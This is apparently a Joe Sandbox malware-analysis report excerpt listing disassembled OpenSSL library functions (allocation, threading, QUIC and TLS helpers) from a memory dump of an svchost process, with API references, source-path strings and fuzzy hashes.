Function 00007FFBAB412940 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39COMMON

Download Yara Rule

APIs

CRYPTO_zalloc.LIBCRYPTO-3-X64 ref: 00007FFBAB412964
_beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFBAB412990
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB4129CA

Strings

crypto\thread\arch\thread_win.c, xrefs: 00007FFBAB41295D, 00007FFBAB4129C0

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_freeO_zalloc_beginthreadex
String ID: crypto\thread\arch\thread_win.c
API String ID: 1240409343-2915021490
Opcode ID: 423ff864966eef510864d7505c4d9208903451e2d65eb1c1581e94dce3132e98
Instruction ID: 9ec89fb2680603b966927cb0408295a889d1808ddea4d4ec7bb9772385230ce7
Opcode Fuzzy Hash: 423ff864966eef510864d7505c4d9208903451e2d65eb1c1581e94dce3132e98
Instruction Fuzzy Hash: 58019EB1B1A75282EB12CB25F8453A963B4FB48788F488136DE9C47BA5EF3CE554C700

Function 00007FFBAB46A850 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

CRYPTO_free.LIBCRYPTO-3-X64(?,00007FFBAB44B93F), ref: 00007FFBAB46A89B
CRYPTO_free.LIBCRYPTO-3-X64(?,00007FFBAB44B93F), ref: 00007FFBAB46A8B0
CRYPTO_free.LIBCRYPTO-3-X64(?,00007FFBAB44B93F), ref: 00007FFBAB46A8D9

Strings

ssl\quic\quic_txpim.c, xrefs: 00007FFBAB46A887, 00007FFBAB46A8A6, 00007FFBAB46A8C4

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_free
String ID: ssl\quic\quic_txpim.c
API String ID: 2581946324-1264249673
Opcode ID: bfd892b1b6ed01ebceaa0872bc2514d2b7dd38eb631ac1bedfc8bde7a82d7930
Instruction ID: 7e7024a19f728840d3134b576689814575e6a03fd6fe9a4e89c3ae0641632fc2
Opcode Fuzzy Hash: bfd892b1b6ed01ebceaa0872bc2514d2b7dd38eb631ac1bedfc8bde7a82d7930
Instruction Fuzzy Hash: 4B0171B2B1BB9281EF52DB21E8802B86764EB44BC0F48A035EF5D07B65DE3CD5458701

Function 00007FFBAB490AD0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

CRYPTO_free.LIBCRYPTO-3-X64(?,00007FFBAB414CA1,?,?,?,00007FFBAB414A5D), ref: 00007FFBAB490AF5
CRYPTO_free.LIBCRYPTO-3-X64(?,00007FFBAB414CA1,?,?,?,00007FFBAB414A5D), ref: 00007FFBAB490B0B
CRYPTO_free.LIBCRYPTO-3-X64(?,00007FFBAB414CA1,?,?,?,00007FFBAB414A5D), ref: 00007FFBAB490B20

Strings

ssl\statem\statem_dtls.c, xrefs: 00007FFBAB490AEE, 00007FFBAB490AFE, 00007FFBAB490B16

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_free
String ID: ssl\statem\statem_dtls.c
API String ID: 2581946324-3166991913
Opcode ID: a85e4b783e4a8bcea3a9faee574f95fad5154aeaaeb760acb57dd1e667d27870
Instruction ID: bf3dbac929e0c267840542f26173918a5300b7a59ef2f8fbcd494a0c93df88cc
Opcode Fuzzy Hash: a85e4b783e4a8bcea3a9faee574f95fad5154aeaaeb760acb57dd1e667d27870
Instruction Fuzzy Hash: C5F030E1F5611395EE16DB79C8C26BC1711EF45B81F448435DE2D07762ED1ED609C701

Function 00007FFBAB430450 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20COMMON

Download Yara Rule

APIs

CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB430475
EVP_PKEY_free.LIBCRYPTO-3-X64 ref: 00007FFBAB43047E
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB430493

Strings

ssl\ssl_lib.c, xrefs: 00007FFBAB43046E, 00007FFBAB430489

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_free$Y_free
String ID: ssl\ssl_lib.c
API String ID: 3642664693-1984206432
Opcode ID: 6d0946d844a4db522dc917eab90d6050f22cb33342ced9b0e25f45acba3a926a
Instruction ID: 0f3cdb236f135d2c48a6115c9da95e88792015e20decd85b219aeec3c5967cd1
Opcode Fuzzy Hash: 6d0946d844a4db522dc917eab90d6050f22cb33342ced9b0e25f45acba3a926a
Instruction Fuzzy Hash: 9FE09AE1B4751290EE22EB72D8C22B823209F44B80F449031DD2C477B2CE1CE99AC302

Function 00007FFBAB458120 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138COMMON

Download Yara Rule

APIs

CRYPTO_free.LIBCRYPTO-3-X64(?,00000000,?,?,?,00007FFBAB45358D), ref: 00007FFBAB4582F9

Strings

ssl\quic\quic_impl.c, xrefs: 00007FFBAB4582DD, 00007FFBAB4582EF
quic_conn_stream_new, xrefs: 00007FFBAB4582D3

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_free
String ID: quic_conn_stream_new$ssl\quic\quic_impl.c
API String ID: 2581946324-333456876
Opcode ID: 185f3fa660f183b42e7f7ec6cb34732e5eddf49efa50fefa90d903e706a91fc1
Instruction ID: 1f3ec326ff638d0a6f5deda5ed81bd30354c928935aa4760ab94c28eea53a510
Opcode Fuzzy Hash: 185f3fa660f183b42e7f7ec6cb34732e5eddf49efa50fefa90d903e706a91fc1
Instruction Fuzzy Hash: B151E7B1A1EE4652FA26D732E94067A6B90FF44B84F048235EF6D477A5DF3CE8118701

Function 00007FFBAB420130 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 101COMMON

Download Yara Rule

APIs

CRYPTO_zalloc.LIBCRYPTO-3-X64(?,?,00000000,00007FFBAB420040), ref: 00007FFBAB420194
CRYPTO_free.LIBCRYPTO-3-X64(?,?,00000000,00007FFBAB420040), ref: 00007FFBAB42025B

Strings

ssl\ssl_ciph.c, xrefs: 00007FFBAB42017F, 00007FFBAB420251

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_freeO_zalloc
String ID: ssl\ssl_ciph.c
API String ID: 2237658545-1912280922
Opcode ID: 81d8cf1528eb5d46c0f51a58f17a8be05794b480d16a1a5dcec022ef63581fdf
Instruction ID: 934691cdfba5be66fd7ceb6cf63a8563afb8f3c5491c1932d31b6649b4ef272c
Opcode Fuzzy Hash: 81d8cf1528eb5d46c0f51a58f17a8be05794b480d16a1a5dcec022ef63581fdf
Instruction Fuzzy Hash: 31418DB2A0AB4182EA56CF65E5802797BA1FB45FC0F55C436DE2C47761EF39E980C341

Function 00007FFBAB426190 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 89COMMON

Download Yara Rule

APIs

CRYPTO_malloc.LIBCRYPTO-3-X64 ref: 00007FFBAB426257
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB4262D6

Strings

ssl\ssl_lib.c, xrefs: 00007FFBAB426250, 00007FFBAB4262CC

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_freeO_malloc
String ID: ssl\ssl_lib.c
API String ID: 2609694610-1984206432
Opcode ID: b92507850ed99600fc392696fa79ea4498c001a015ad090ddabc56f520770637
Instruction ID: a4fb99237f9e8618d0a246362ab78b8801d8121d9ba63bfcedd5260006a5c2e6
Opcode Fuzzy Hash: b92507850ed99600fc392696fa79ea4498c001a015ad090ddabc56f520770637
Instruction Fuzzy Hash: B031CEB2B0BB5182FA92DF65D0942B833A0FB54B84F588436CE2D877A4DF39E4429311

Function 00007FFBAB4249F0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

CRYPTO_memdup.LIBCRYPTO-3-X64 ref: 00007FFBAB42E8B1
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB42E8CE

Strings

ssl\ssl_lib.c, xrefs: 00007FFBAB42E8A4, 00007FFBAB42E8C1

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_freeO_memdup
String ID: ssl\ssl_lib.c
API String ID: 3962629258-1984206432
Opcode ID: 38e1baf42bfe177be3940a0fd97c351b1f0ca28f8af4cfbb817061fe19b10ed1
Instruction ID: 8e2240e40adeab930d3d81177e653ad6149f09b277f2bfcd77c0e12f534da38f
Opcode Fuzzy Hash: 38e1baf42bfe177be3940a0fd97c351b1f0ca28f8af4cfbb817061fe19b10ed1
Instruction Fuzzy Hash: 8F21F1A1F4B78380EE628A63E1443786599AF54BC4F08C435DEAC43BA5DD2DD5425300

Function 00007FFBAB412C60 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

CRYPTO_zalloc.LIBCRYPTO-3-X64 ref: 00007FFBAB412C9E

Part of subcall function 00007FFBAB412860: CRYPTO_zalloc.LIBCRYPTO-3-X64 ref: 00007FFBAB41287D

CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB412D3F

Part of subcall function 00007FFBAB412860: InitializeCriticalSection.KERNEL32 ref: 00007FFBAB412893

Part of subcall function 00007FFBAB412460: CRYPTO_malloc.LIBCRYPTO-3-X64 ref: 00007FFBAB41247F

Part of subcall function 00007FFBAB412940: CRYPTO_zalloc.LIBCRYPTO-3-X64 ref: 00007FFBAB412964
Part of subcall function 00007FFBAB412940: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFBAB412990

Strings

crypto\thread\arch.c, xrefs: 00007FFBAB412C94, 00007FFBAB412D35

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_zalloc$CriticalInitializeO_freeO_mallocSection_beginthreadex
String ID: crypto\thread\arch.c
API String ID: 4205757297-147645559
Opcode ID: 1df285d3367c84bec90169404a8c602494a54b31cedb8312a4a4952bdaf28ccb
Instruction ID: 968123061d8882feabf3f7c79e4d1e5c04664ceb159d325e3918443905709cad
Opcode Fuzzy Hash: 1df285d3367c84bec90169404a8c602494a54b31cedb8312a4a4952bdaf28ccb
Instruction Fuzzy Hash: B021BDA1E1BB4281EB56DF31E44206D22A4FF44B84F449436EE6D87BAAEF3CE500C710

Function 00007FFBAB464800 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

OPENSSL_LH_delete.LIBCRYPTO-3-X64(?,00007FFBAB458312,?,00000000,?,?,?,00007FFBAB45358D), ref: 00007FFBAB4648B4
CRYPTO_free.LIBCRYPTO-3-X64(?,00007FFBAB458312,?,00000000,?,?,?,00007FFBAB45358D), ref: 00007FFBAB4648C9

Strings

ssl\quic\quic_stream_map.c, xrefs: 00007FFBAB4648BF

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: H_deleteO_free
String ID: ssl\quic\quic_stream_map.c
API String ID: 2213166339-1155244460
Opcode ID: 209cd0de2672983f8be90e1961f2fb088ae3ed1ac36a604aeebd1813528bc227
Instruction ID: 992d5c386f52fb86c96d74de638c49db357e4a60c14cbff2955eb6882fc44616
Opcode Fuzzy Hash: 209cd0de2672983f8be90e1961f2fb088ae3ed1ac36a604aeebd1813528bc227
Instruction Fuzzy Hash: 1021E4B6A16F5481EB55CF3AE49012C73B8F748F98B148126EE5C47769DF38C8A2C380

Function 00007FFBAB460130 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

CRYPTO_zalloc.LIBCRYPTO-3-X64(?,00007FFBAB44C984,00000000,?,?,00007FFBAB4501BA,00000000,00007FFBAB458275,?,00000000,?,?,?,00007FFBAB45358D), ref: 00007FFBAB460164
CRYPTO_free.LIBCRYPTO-3-X64(?,00007FFBAB44C984,00000000,?,?,00007FFBAB4501BA,00000000,00007FFBAB458275,?,00000000,?,?,?,00007FFBAB45358D), ref: 00007FFBAB4601A3

Strings

ssl\quic\quic_rstream.c, xrefs: 00007FFBAB46015A, 00007FFBAB46019C

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_freeO_zalloc
String ID: ssl\quic\quic_rstream.c
API String ID: 2237658545-3266392800
Opcode ID: e761e806749da03bf56e2e36b210a9b0d9d62d323b370c1c01d566d46031b2fc
Instruction ID: 6b9ccee34d3e911062b7d1b132941acc900906400c9337462bbb6df9a75a6538
Opcode Fuzzy Hash: e761e806749da03bf56e2e36b210a9b0d9d62d323b370c1c01d566d46031b2fc
Instruction Fuzzy Hash: 3411C272626B1285EA41DB29E8901AD77A4FB44B84F548439EE9C43766EF3CD552C700

Function 00007FFBAB412A80 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

Strings

crypto\thread\arch.c, xrefs: 00007FFBAB412AEC, 00007FFBAB412B04

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID:
String ID: crypto\thread\arch.c
API String ID: 0-147645559
Opcode ID: a0f20e0b3109180acf445ad273c8bb40febf88ff112b646f11ec94fc715c45f9
Instruction ID: b6aa29e14faba1862e6d8eb3ba55dd685f7a5d53bedbe3b68e456ef268bf7da1
Opcode Fuzzy Hash: a0f20e0b3109180acf445ad273c8bb40febf88ff112b646f11ec94fc715c45f9
Instruction Fuzzy Hash: D70184E1F2A55282EF52EB72E4822B91354FF85B84F449032ED2D872A6DF1CD5928710

Function 00007FFBAB488B90 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB488BC7
CRYPTO_memdup.LIBCRYPTO-3-X64 ref: 00007FFBAB488BF0

Strings

C:\Program Files\vcpkg\buildtrees\openssl\x64-windows-rel\include\internal/packet.h, xrefs: 00007FFBAB488BB7, 00007FFBAB488BE0

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_freeO_memdup
String ID: C:\Program Files\vcpkg\buildtrees\openssl\x64-windows-rel\include\internal/packet.h
API String ID: 3962629258-3519961458
Opcode ID: a728c59dc59ea8002b74f92822e2773b4a6ad8d6a9b46d238b29f504cf8f8bc1
Instruction ID: f4a329ec23efb70ced967bb6b9b4adc3ac9f63a8405488b1e79d7098d81269dc
Opcode Fuzzy Hash: a728c59dc59ea8002b74f92822e2773b4a6ad8d6a9b46d238b29f504cf8f8bc1
Instruction Fuzzy Hash: 3C012CB2707B5281EB51DF22E8806596764FB98BC0F088435EE9C47B69DE3CD5618700

Function 00007FFBAB46EED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

CRYPTO_malloc.LIBCRYPTO-3-X64(?,00007FFBAB415283), ref: 00007FFBAB46EEF4
CRYPTO_free.LIBCRYPTO-3-X64(?,00007FFBAB415283), ref: 00007FFBAB46EF24

Strings

ssl\record\rec_layer_d1.c, xrefs: 00007FFBAB46EEED, 00007FFBAB46EF1D

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_freeO_malloc
String ID: ssl\record\rec_layer_d1.c
API String ID: 2609694610-2186836241
Opcode ID: 19350aefcc9e48473532e3a56b95fd137591b1c14b86f31f68a35ff9e07a6a0b
Instruction ID: ce2f9ec12a5577cbfda81853401b9f79f78e6f432cb3dceb3e0801a0c3bec66b
Opcode Fuzzy Hash: 19350aefcc9e48473532e3a56b95fd137591b1c14b86f31f68a35ff9e07a6a0b
Instruction Fuzzy Hash: 490181B2B1B74292EA56DB25E4853AC7390FF44B44F88C435EF6C477A6EE78E4588700

Function 00007FFBAB446B30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFBAB447040: BIO_ctrl.LIBCRYPTO-3-X64(00000000,00007FFBAB446B57,00000000,00007FFBAB447D75,?,00000000,?,?,02000100,00007FFBAB44C1EB,02000100,00007FFBAB44E4DA,?,00007FFBAB450F14), ref: 00007FFBAB4470B3

CRYPTO_free.LIBCRYPTO-3-X64(00000000,00007FFBAB447D75,?,00000000,?,?,02000100,00007FFBAB44C1EB,02000100,00007FFBAB44E4DA,?,00007FFBAB450F14), ref: 00007FFBAB446B6A
CRYPTO_free.LIBCRYPTO-3-X64(00000000,00007FFBAB447D75,?,00000000,?,?,02000100,00007FFBAB44C1EB,02000100,00007FFBAB44E4DA,?,00007FFBAB450F14), ref: 00007FFBAB446B93

Strings

ssl\quic\json_enc.c, xrefs: 00007FFBAB446B5B, 00007FFBAB446B8C

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_free$O_ctrl
String ID: ssl\quic\json_enc.c
API String ID: 1134426049-3790216822
Opcode ID: e9ede09c86302a8fa937d5da6f7ae62213afd64565b9edc0a6eb65effc076c5c
Instruction ID: 058a7db2fd8356063e0f6e13d30a839b6ed7d60a84f0b165cd59fc53228fa393
Opcode Fuzzy Hash: e9ede09c86302a8fa937d5da6f7ae62213afd64565b9edc0a6eb65effc076c5c
Instruction Fuzzy Hash: 2601ADB2A1666182EB51CF31E89016C7368EB80B84F449532EE5C47B6ACE3CD992C740

Function 00007FFBAB460770 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

CRYPTO_clear_free.LIBCRYPTO-3-X64(?,00007FFBAB4609B9,?,?,00000000,00007FFBAB460191,?,00007FFBAB44C984,00000000,?,?,00007FFBAB4501BA,00000000,00007FFBAB458275,?,00000000), ref: 00007FFBAB460798
CRYPTO_free.LIBCRYPTO-3-X64(?,00007FFBAB4609B9,?,?,00000000,00007FFBAB460191,?,00007FFBAB44C984,00000000,?,?,00007FFBAB4501BA,00000000,00007FFBAB458275,?,00000000), ref: 00007FFBAB4607B9

Strings

C:\Program Files\vcpkg\buildtrees\openssl\x64-windows-rel\include\internal/ring_buf.h, xrefs: 00007FFBAB460791, 00007FFBAB4607B2

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_clear_freeO_free
String ID: C:\Program Files\vcpkg\buildtrees\openssl\x64-windows-rel\include\internal/ring_buf.h
API String ID: 589068787-3109175187
Opcode ID: 88fc3910a59db1d4f0bbec0069283dcebb86222718afef598986d2a39b1b1346
Instruction ID: 637861863fb8f9430ebefdc58bf66cffe45c8fa535d418739adc90e0c66f0e19
Opcode Fuzzy Hash: 88fc3910a59db1d4f0bbec0069283dcebb86222718afef598986d2a39b1b1346
Instruction Fuzzy Hash: 39F082B2A56A0285E7529F79E88126C33E5EB44B44F48C034CA1C87365EE3CD595C340

Function 00007FFBAB412860 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 20COMMON

Download Yara Rule

APIs

CRYPTO_zalloc.LIBCRYPTO-3-X64 ref: 00007FFBAB41287D
InitializeCriticalSection.KERNEL32 ref: 00007FFBAB412893

Strings

crypto\thread\arch\thread_win.c, xrefs: 00007FFBAB412873

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
